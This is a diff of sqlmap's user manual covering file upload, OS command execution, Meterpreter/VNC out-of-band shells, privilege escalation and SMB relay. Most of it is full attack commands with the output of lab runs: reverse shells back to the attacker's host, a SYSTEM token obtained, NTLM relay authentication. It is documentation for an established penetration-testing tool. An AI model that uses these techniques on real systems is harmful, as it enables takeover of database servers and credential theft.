      It is possible to upload a local file to the underlying file system when
-the back-end database management system is either MySQL, PostgreSQL or
-Microsoft SQL Server and the session user has the needed privileges to
+
      It is possible to upload a local file to the database server file system
+when the back-end database management system is either MySQL, PostgreSQL
+or Microsoft SQL Server, and the session user has the needed privileges to
 abuse database specific functionalities and architectural weaknesses.
-The file specified can be either a text or a binary file, sqlmap will
-handle either cases automatically.
      
+The file specified can be either a text or a binary file. sqlmap will
+handle it automatically.
      
 
-
      These techniques are detailed on the white paper
+
      These techniques are detailed in the white paper
 Advanced SQL injection to operating system full control.
      
 
 
      Example on a MySQL 5.0.67 target to upload a binary UPX-compressed
@@ -4092,7 +4430,7 @@ $ file /tmp/nc.exe.packed
 $ ls -l /tmp/nc.exe.packed
 -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
 
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" --write-file \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
   "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
 
 [...]
@@ -4117,46 +4455,74 @@ same size as the local file '/tmp/nc.exe.packed'
 
      
 
      
 
+
      Example on a PostgreSQL 8.4 target to upload a text file:
      
+
      
+
      
+
      +$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
+  --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
 
-
      5.9 Operating system access
+[...]
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: PostgreSQL
+
+[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:01] [INFO] retrieved: 8.4.2
+[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:07] [INFO] retrieved: 0
+[hh:mm:07] [INFO] retrieved: 0
+[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
+do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully 
+written on the back-end DBMS file system? [Y/n] 
+[hh:mm:14] [INFO] retrieved: 2264
+[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes, 
+same size as the local file '/etc/passwd'
+
      
+
      
+
      
+
+
+
      5.10 Operating system access
 
      
 
 
      Execute arbitrary operating system command
      
 
-
      Options: --os-cmd and --os-shell
      
+
      Options: --os-cmd and --os-shell
      
 
 
      It is possible to execute arbitrary commands on the underlying operating
 system when the back-end database management system is either MySQL,
-PostgreSQL or Microsoft SQL Server and the session user has the needed
+PostgreSQL or Microsoft SQL Server, and the session user has the needed
 privileges to abuse database specific functionalities and architectural
 weaknesses.
      
 
 
      On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
-demonstrated above) a shared library (binary file) containing two
+explained above) a shared library (binary file) containing two
 user-defined functions, sys_exec() and sys_eval(), then
 it creates these two functions on the database and call one of them to
 execute the specified command, depending on the user's choice to display
 the standard output or not.
 On Microsoft SQL Server, sqlmap abuses the xp_cmshell stored
-procedure: if it's disable sqlmap re-enables it, if it does not exist,
+procedure: if it's disabled, sqlmap re-enables it; if it does not exist,
 sqlmap creates it from scratch.
      
 
 
      If the user wants to retrieve the command standard output, sqlmap will use
 one of the enumeration SQL injection techniques (blind or inband) to
-retrieve it, viceversa sqlmap will use the stacked query SQL injection
-technique to execute the command without returning anything to the user.
      
+retrieve it or, in case of stacked query SQL injection technique,
+sqlmap will execute the command without returning anything to the user.
      
 
-
      These techniques are detailed on the white paper
+
      These techniques are detailed in the white paper
 Advanced SQL injection to operating system full control.
      
 
 
      It is possible to specify a single command to be executed with the
---os-cmd option.
      
+--os-cmd option.
      
 
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
   --os-cmd "whoami" -v 1
 
 [...]
@@ -4191,7 +4557,7 @@ command standard output:    'w2k3dev\postgres'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
   --os-cmd "whoami" --union-use -v 1
 
 [...]
@@ -4209,7 +4575,7 @@ injection vulnerability
 by appending a false condition after the parameter value
 [hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband 
 sql injection vulnerability
-valid union:    'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
+valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
 ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
 
 [hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
@@ -4228,15 +4594,15 @@ nt authority\network service
 
      
 
 
      It is also possible to simulate a real shell where you can type as many
-arbitrary commands as you wish. The option is --os-shell and has
-the same TAB completion and history functionalities implemented for
---sql-shell.
      
+arbitrary commands as you wish. The option is --os-shell and has
+the same TAB completion and history functionalities like
+--sql-shell.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
   --os-shell -v 2
 
 [...]
@@ -4347,13 +4713,13 @@ can only be deleted manually
 
      
 
      
 
-
      Now run it again, but specifying the --union-use to retrieve the
+
      Now run it again, but specifying the --union-use to retrieve the
 command standard output quicker, via UNION based SQL injection, when the
 parameter is affected also by inband SQL injection vulnerability:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
   --os-shell -v 2 --union-use
 
 [...]
@@ -4367,7 +4733,7 @@ technique
 [hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
 [hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection 
 vulnerability
-valid union:    'http://192.168.1.121:80/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT 
+valid union:    'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT 
 NULL, NULL, NULL# AND 528=528'
 
 [hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
@@ -4432,9 +4798,9 @@ Windows IP Configuration
 Ethernet adapter Local Area Connection 2:
 
    Connection-specific DNS Suffix  . : localdomain
-   IP Address. . . . . . . . . . . . : 192.168.1.121
+   IP Address. . . . . . . . . . . . : 172.16.213.131
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
----Default Gateway . . . . . . . . . : 192.168.1.1
+---Default Gateway . . . . . . . . . : 172.16.213.1
 
 os-shell> exit
 [hh:mm:41] [INFO] cleaning up the database management system
@@ -4455,103 +4821,115 @@ user-defined functions are already created, if so, it asks the user if he
 wants to recreate them or keep them and save time.
      
 
 
-
      Prompt for an out-of-band shell, meterpreter or VNC
      
+
      Prompt for an out-of-band shell, Meterpreter or VNC
      
 
-
      Options: --os-pwn, --priv-esc, --msf-path and --tmp-path
      
+
      Options: --os-pwn, --priv-esc, --msf-path and --tmp-path
      
 
-
      It is possible to establish an out-of-band TCP stateful channel
-between the attacker and the underlying operating system by using the
-exploited SQL injection as a stepping stone. This is implemented for MySQL,
-PostgreSQL and Microsoft SQL Server.
-sqlmap relies on the 
-Metasploit to perform this attack, so you need to have it already
-on your system: it's free and can be downloaded from the homepage. It is
-required to use Metasploit Framework version 3.3 or above.
      
+
      It is possible to establish an out-of-band stateful TCP connection
+between the user machine and the database server underlying operating
+system. This channel can be an interactive command prompt, a Meterpreter
+session or a graphical user interface (VNC) session as per user's choice.
+sqlmap relies on Metasploit to create the shellcode and implements four
+different techniques to execute it on the database server. These
+techniques are:
+
        
+
      • Database in-memory execution of the Metasploit's shellcode
+via sqlmap own user-defined function sys_bineval(). Supported on
+MySQL and PostgreSQL.
        • 
+
      • Upload and execution of a Metasploit's stand-alone payload
+stager via sqlmap own user-defined function sys_exec() on
+MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
+Server.
        • 
+
      • Execution of Metasploit's shellcode by performing a SMB
+reflection attack (
+MS08-068) with a UNC path request from the database server to
+the user's machine where the Metasploit smb_relay server exploit
+runs.
        • 
+
      • Database in-memory execution of the Metasploit's shellcode by
+exploiting Microsoft SQL Server 2000 and 2005
+sp_replwritetovarbin stored procedure heap-based buffer
+overflow (
+MS09-004) with automatic DEP bypass.
        • 
+
      
+
      
 
 
      Note that this feature is not supported by sqlmap running on Windows
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
      
+because it relies on Metasploit's msfcli which is not
+available for Windows.
      
 
-
      These techniques are detailed on the white paper
-Advanced SQL injection to operating system full control.
      
+
      These techniques are detailed in the white paper
+Advanced SQL injection to operating system full control and in the
+slide deck 
+Expanding the control over the operating system from the database.
      
 
-
      Example on a MySQL 5.0.67 target:
      
+
      Example on a MySQL 5.1 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
   --os-pwn -v 1 --msf-path /home/inquis/software/metasploit
 
 [...]
-[hh:mm:17] [INFO] the back-end DBMS is MySQL
 web server operating system: Windows 2003 or 2008
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:17] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:17] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:17] [INFO] retrieved: 5.0.67
-[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:23] [INFO] retrieved: C
-[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:23] [INFO] testing if current user is DBA
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:23] [INFO] checking if sys_exec UDF already exist
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:24] [INFO] sys_exec UDF already exists, do you want to overwrite it? [y/N] N
-[hh:mm:24] [INFO] checking if sys_eval UDF already exist
-[hh:mm:24] [INFO] retrieved: 1
-[hh:mm:24] [INFO] sys_eval UDF already exists, do you want to overwrite it? [y/N] N
-[hh:mm:24] [INFO] creating Metasploit Framework 3 payload stager
-[hh:mm:24] [INFO] which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
+[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:09] [INFO] retrieved: 5.1.30
+[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:18] [INFO] retrieved: C
+[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:19] [INFO] testing if current user is DBA
+[hh:mm:19] [INFO] retrieved: 1
+[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
+[hh:mm:20] [INFO] retrieved: 0
+[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
+[hh:mm:21] [INFO] retrieved: 0
+[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
+[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
+[hh:mm:46] [WARNING] this will only work if the database administrator created manually 
+the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
+[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
+[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
+how do you want to execute the Metasploit shellcode on the back-end database underlying 
+operating system?
+[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
+[2] Stand-alone payload stager (file system way)
 > 1
-[hh:mm:24] [INFO] which is the back-end DBMS address? [192.168.1.121] 192.168.1.121
-[hh:mm:24] [INFO] which remote port numer do you want to use? [61588] 61588
-[hh:mm:24] [INFO] which payload do you want to use?
-[1] Reflective Meterpreter (default)
-[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
-[3] Shell
-[4] Reflective VNC
-[5] PatchUp VNC (only from Metasploit development revision 6742)
+[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
+which connection type do you want to use?
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
 > 1
-[hh:mm:24] [INFO] which payload encoding do you want to use?
-[1] No Encoder
-[2] Alpha2 Alphanumeric Mixedcase Encoder
-[3] Alpha2 Alphanumeric Uppercase Encoder
-[4] Avoid UTF8/tolower
-[5] Call+4 Dword XOR Encoder
-[6] Single-byte XOR Countdown Encoder
-[7] Variable-length Fnstenv/mov Dword XOR Encoder
-[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
-[9] Non-Alpha Encoder
-[10] Non-Upper Encoder
-[11] Polymorphic XOR Additive Feedback Encoder (default)
-[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
-[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
-> 11
-[hh:mm:24] [INFO] creation in progress .................. done
-[hh:mm:42] [INFO] compression in progress . quit unexpectedly with return code 1
-[hh:mm:43] [INFO] failed to compress the file because you provided a Metasploit version 
-above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
-It might only slow down a bit the execution of sqlmap
-[hh:mm:43] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfgcpge.exe'
-[hh:mm:44] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[hh:mm:44] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [47776] 
+which payload do you want to use?
+[1] Meterpreter (default)
+[2] Shell
+[3] VNC
+> 1
+[hh:mm:55] [INFO] creation in progress .............................................. done
+[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Started bind handler
+[*] Started reverse handler on 172.16.213.1:47776 
 [*] Starting the payload handler...
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:47832 -> 192.168.1.121:61588)
+[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
 
+meterpreter > Loading extension espia...success.
+meterpreter > Loading extension incognito...success.
 meterpreter > Loading extension priv...success.
-meterpreter > getuid
-Server username: NT AUTHORITY\SYSTEM
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\SYSTEM
 meterpreter > ipconfig
 
 MS TCP Loopback interface
@@ -4561,78 +4939,72 @@ Netmask     : 255.0.0.0
 
 
 
-VMware Accelerated AMD PCNet Adapter
-Hardware MAC: 00:0c:29:29:ee:86
-IP Address  : 192.168.1.121
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
 Netmask     : 255.255.255.0
 
 
-meterpreter > pwd
-C:\Program Files\MySQL\MySQL Server 5.0\Data
 meterpreter > exit
+
+[hh:mm:52] [INFO] cleaning up the database management system
+do you want to remove UDF 'sys_bineval'? [Y/n] 
+do you want to remove UDF 'sys_exec'? [Y/n] 
+[hh:mm:54] [INFO] database management system cleanup finished
+[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related 
+files in the temporary folder saved on the file system can only be deleted manually
 
      
 
      
 
      
 
 
      By default MySQL on Windows runs as SYSTEM, however PostgreSQL
-run as a low-privileged user postgres on both Windows and Linux.
+runs as a low-privileged user postgres on both Windows and Linux.
 Microsoft SQL Server 2000 by default runs as SYSTEM, whereas
 Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
 SERVICE and sometimes as LOCAL SERVICE.
      
-
      It is possible to provide sqlmap with the --priv-esc option to
-abuse Windows access tokens and escalate privileges to SYSTEM
-within the Meterpreter session created if the underlying operating system
-is not patched against Microsoft Security Bulletin
-MS09-012.
-sqlmap performs the
-Windows Token kidnapping
-technique by uploading 
+
      It is possible to provide sqlmap with the --priv-esc
+option to perform a database process' user privilege escalation
+via Metasploit's getsystem command which include, among others,
+the 
+kitrap0d technique (
+MS10-015) or via 
+Windows Access Tokens kidnapping by using either Meterpreter's
+incognito extension or 
 Churrasco
-local exploit and using it to call the Metasploit's payload stager
-executable. sqlmap uses also the Metasploit's Meterpreter
-incognito
-extension to abused Windows access tokens in conjunction to Churrasco
-stand-alone exploit if the user wants so.
      
-
-
      Note that this feature is not supported by sqlmap installed from the
-DEB package because it relies on Churrasco, which is not explicitly free
-software so it has not been included in the package.
      
-
-
      This technique is detailed on the white paper
-Advanced SQL injection to operating system full control.
      
+(
+MS09-012) stand-alone executable as per user's choice.
      
 
 
      Example on a Microsoft SQL Server 2005 Service Pack 0 running as
 NETWORK SERVICE on the target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
   --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
 
 [...]
-[hh:mm:17] [INFO] the back-end DBMS is Microsoft SQL Server
 web server operating system: Windows 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005
 
-[hh:mm:17] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:22] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:22] [INFO] testing if current user is DBA
-[hh:mm:22] [INFO] retrieved: 1
-[hh:mm:23] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:29] [INFO] xp_cmdshell extended procedure is available
-[hh:mm:29] [INFO] creating Metasploit Framework 3 payload stager
+[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:52] [INFO] testing if current user is DBA
+[hh:mm:52] [INFO] retrieved: 1
+[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
+[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
+[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
 which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
-> 3
-which is the local address? [192.168.1.161] 
-which local port numer do you want to use? [61499] 
-[hh:mm:54] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
-that can be used to abuse Windows Impersonation Tokens via Meterpreter 'incognito' 
-extension to privilege escalate
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
+> 1
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [44780] 
+[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
+that can be used to escalate privileges, either via 'incognito' extension or via 
+'getsystem' command
 which payload encoding do you want to use?
 [1] No Encoder
 [2] Alpha2 Alphanumeric Mixedcase Encoder
@@ -4648,39 +5020,35 @@ which payload encoding do you want to use?
 [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
 [13] Alpha2 Alphanumeric Unicode Uppercase Encoder
 > 
-[hh:mm:58] [INFO] creation in progress .................. done
-[hh:mm:16] [INFO] compression in progress . quit unexpectedly with return code 1
-[hh:mm:17] [INFO] failed to compress the file because you provided a Metasploit version 
-above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
-It might only slow down a bit the execution of sqlmap
-[hh:mm:17] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfyahls.exe'
-[hh:mm:20] [WARNING] often Microsoft SQL Server 2005 runs as Network Service which has no 
-Windows Impersonation Tokens within all threads, this makes Meterpreter's incognito 
-extension to fail to list tokens
+[hh:mm:53] [INFO] creation in progress ..... done
+[hh:mm:58] [INFO] compression in progress . done
+[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
 do you want sqlmap to upload Churrasco and call the Metasploit payload stager as its 
-argument so that it will be started as SYSTEM? [Y/n] y
-[hh:mm:36] [INFO] the binary file is bigger than 65280 bytes. sqlmap will split it into 
-chunks, upload them and recreate the original file out of the binary chunks server-side, 
-wait..
-[hh:mm:22] [INFO] file chunk 1 written
-[14:10:06] [INFO] file chunk 2 written
-[14:10:06] [INFO] running Metasploit Framework 3 command line interface locally, wait..
+argument so that it will be started as SYSTEM? [y/N] 
+[hh:mm:22] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Handler binding to LHOST 0.0.0.0
-[*] Started reverse handler
+[*] Started reverse handler on 172.16.213.1:44780 
 [*] Starting the payload handler...
-[14:10:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:61499 -> 192.168.1.131:3221)
+[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
 
 meterpreter > 
-[14:11:01] [INFO] loading Meterpreter 'incognito' extension and displaying the list of 
-Access Tokens availables. Choose which user you want to impersonate by using incognito's 
-command 'impersonate_token'
-Loading extension priv...success.
+[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which 
+tries different techniques, including kitrap0d
+[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you 
+want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not 
+success to elevate privileges
+Loading extension espia...success.
 meterpreter > Loading extension incognito...success.
-meterpreter > Server username: NT AUTHORITY\SYSTEM
+meterpreter > Loading extension priv...success.
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > ...got system (via technique 4).
 meterpreter > 
 Delegation Tokens Available
 ========================================
@@ -4688,16 +5056,34 @@ NT AUTHORITY\LOCAL SERVICE
 NT AUTHORITY\NETWORK SERVICE
 NT AUTHORITY\SYSTEM
 W2K3DEV\Administrator
-W2K3DEV\IUSR_WIN2003
+W2K3DEV\IUSR_W2K3STENSP0
 W2K3DEV\postgres
 
 Impersonation Tokens Available
 ========================================
 NT AUTHORITY\ANONYMOUS LOGON
 
+meterpreter > Server username: NT AUTHORITY\SYSTEM
+meterpreter > ipconfig
+
+MS TCP Loopback interface
+Hardware MAC: 00:00:00:00:00:00
+IP Address  : 127.0.0.1
+Netmask     : 255.0.0.0
+
+
+
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
+Netmask     : 255.255.255.0
+
+
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 meterpreter > exit
+
+[hh:mm:52] [INFO] cleaning up the database management system
 
      
 
      
 
      
@@ -4705,31 +5091,28 @@ meterpreter > exit
 
 
      One click prompt for an out-of-band shell, meterpreter or VNC
      
 
-
      Options: --os-smbrelay, --priv-esc and --msf-path
      
+
      Options: --os-smbrelay, --priv-esc and --msf-path
      
 
-
      If the back-end database management system runs as Administrator
-and the underlying operating system is not patched against Microsoft
+
      If the back-end database management system runs on Windows as
+Administrator and the system is not patched against Microsoft
 Security Bulletin 
-MS08-068,
-sqlmap can abuse the universal naming convention (UNC) supported within
-all database management systems to force the database server to initiate a
-SMB connection with the attacker host, then perform a SMB authentication
-relay attack in order to establish a high-privileged out-of-band TCP
-stateful channel between the attacker host and the target database
-server.
+MS08-068, sqlmap can abuse the universal naming convention (UNC)
+feature within any database management system to force the database server
+to initiate a SMB connection with the attacker host, then perform a SMB
+authentication relay attack in order to establish a high-privileged
+out-of-band TCP stateful channel between the attacker host and
+the target database server.
 sqlmap relies on 
-Metasploit's SMB relay exploit to perform this attack, so you need
-to have it already on your system: it's free and can be downloaded from the
-homepage.
-You need to run sqlmap as root user if you want to perform a SMB
-relay attack because it will need to listen on a user-specified SMB TCP
-port for incoming connection attempts.
      
+Metasploit's SMB relay exploit to perform this attack.
+You need to run sqlmap as a privileged user (e.g. root) if you
+want to perform a SMB relay attack because it will need to listen on a
+user-specified SMB TCP port for incoming connection attempts.
      
 
 
      Note that this feature is not supported by sqlmap running on Windows
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
      
+platform because it relies on Metasploit's msfpayload which is
+not fully working on Windows.
      
 
-
      This technique is detailed on the white paper
+
      This technique is detailed in the white paper
 Advanced SQL injection to operating system full control.
      
 
 
      Example on a Microsoft SQL Server 2005 Service Pack 0 running as
@@ -4737,7 +5120,7 @@ Windows Ruby interpreter.
      
 
      
 
      
 
      -$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
   --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
 
 [...]
@@ -4757,8 +5140,8 @@ send the NTLM session hash when connecting to a SMB service
 [3] Reverse TCP
 [4] Reverse TCP (No NX)
 > 1
-[hh:mm:16] [INFO] which is the local address? [192.168.1.161] 192.168.1.161
-[hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.1.131] 192.168.1.131
+[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
+[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
 [hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
 [hh:mm:16] [INFO] which payload do you want to use?
 [1] Reflective Meterpreter (default)
@@ -4789,27 +5172,27 @@ send the NTLM session hash when connecting to a SMB service
        =[ 168 aux
 
 resource> use windows/smb/smb_relay
-resource> set SRVHOST 192.168.1.161
-SRVHOST => 192.168.1.161
+resource> set SRVHOST 172.16.213.161
+SRVHOST => 172.16.213.161
 resource> set SRVPORT 139
 SRVPORT => 139
 resource> set PAYLOAD windows/meterpreter/bind_tcp
 PAYLOAD => windows/meterpreter/bind_tcp
 resource> set LPORT 4907
 LPORT => 4907
-resource> set RHOST 192.168.1.131
-RHOST => 192.168.1.131
+resource> set RHOST 172.16.213.131
+RHOST => 172.16.213.131
 resource> exploit
 [*] Exploit running as background job.
 msf exploit(smb_relay) > 
 [*] Started bind handler
 [*] Server started.
-[*] Received 192.168.1.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
+[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
 Service Pack 2 LM:
-[*] Sending Access Denied to 192.168.1.131:3242 \
-[*] Received 192.168.1.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
+[*] Sending Access Denied to 172.16.213.131:3242 \
+[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
 Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
 [*] AUTHENTICATED as W2K3DEV\Administrator...
 [*] Connecting to the ADMIN$ share...
 [*] Regenerating the payload...
@@ -4824,26 +5207,26 @@ Server 2003 3790 Service Pack 2 LM:
 [*] Removing the service...
 [*] Closing service handle...
 [*] Deleting \wELRmcmd.exe...
-[*] Sending Access Denied to 192.168.1.131:3242 W2K3DEV\Administrator
+[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
 [*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Received 192.168.1.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
+[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
 Service Pack 2 LM:
-[*] Sending Access Denied to 192.168.1.131:3244 \
-[*] Received 192.168.1.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
+[*] Sending Access Denied to 172.16.213.131:3244 \
+[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
 Server 2003 3790 Service Pack 2 LM:
-[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
+[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
 [*] AUTHENTICATED as W2K3DEV\Administrator...
-[*] Ignoring request from 192.168.1.131, attack already in progress.
